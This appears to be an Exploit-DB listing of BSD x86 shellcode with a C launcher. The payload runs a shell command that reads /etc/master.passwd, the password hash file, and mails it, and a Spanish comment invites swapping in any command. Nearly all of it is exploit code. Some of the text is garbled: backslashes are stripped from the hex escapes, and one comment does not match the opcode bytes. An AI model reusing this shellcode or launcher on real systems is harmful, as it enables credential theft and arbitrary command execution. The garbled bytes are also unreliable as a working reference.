https://www.exploit-db.com/exploits/13255

漏洞细节尚未披露

/*
   *BSD version
   FreeBSD, OpenBSD, NetBSD.

   [email protected]

   92 bytes.

   _execve(/bin/sh -c "/bin/cat /etc/master.passwd|mail root@localhost");
   pueden reemplzar el comando por lo que se les ocurra.
*/

char shellcode[]=

    "xebx25"             /* jmp     <shellcode+39>         */
    "x59"                 /* popl    %ecx                   */
    "x31xc0"             /* xorl    %eax,%eax              */
    "x50"                 /* pushl   %eax                   */
    "x68x6ex2fx73x68" /* push    $0x68732f6e            */
    "x68x2fx2fx62x69" /* push    $0x69622f2f            */
    "x89xe3"             /* movl    %esp,%ebx              */
    "x50"                 /* pushl   %eax                   */
    "x66x68x2dx63"     /* pushw   $0x632d                */
    "x89xe7"             /* movl    %esp,%edi              */
    "x50"                 /* pushl   %eax                   */
    "x51"                 /* pushl   %ecx                   */
    "x57"                 /* pushl   %edi                   */
    "x53"                 /* pushl   %ebx                   */
    "x89xe7"             /* movl    %esp,%edi              */
    "x50"                 /* pushl   %eax                   */
    "x57"                 /* pushl   %edi                   */
    "x53"                 /* pushl   %ebx                   */
    "x50"                 /* pushl   %eax                   */
    "xb0x3b"             /* movb    $0x0b,%al              */
    "xcdx80"             /* int     $0x80                  */
    "xe8xd6xffxffxff" /* call    <shellcode+2>          */
    "/bin/cat /etc/master.passwd|mail root@localhost";

main()
{
   int *ret;
   printf("Shellcode lenght=%dn",sizeof(shellcode));
   ret=(int*)&ret+2;
   (*ret)=(int)shellcode;
}

// milw0rm.com [2004-09-26]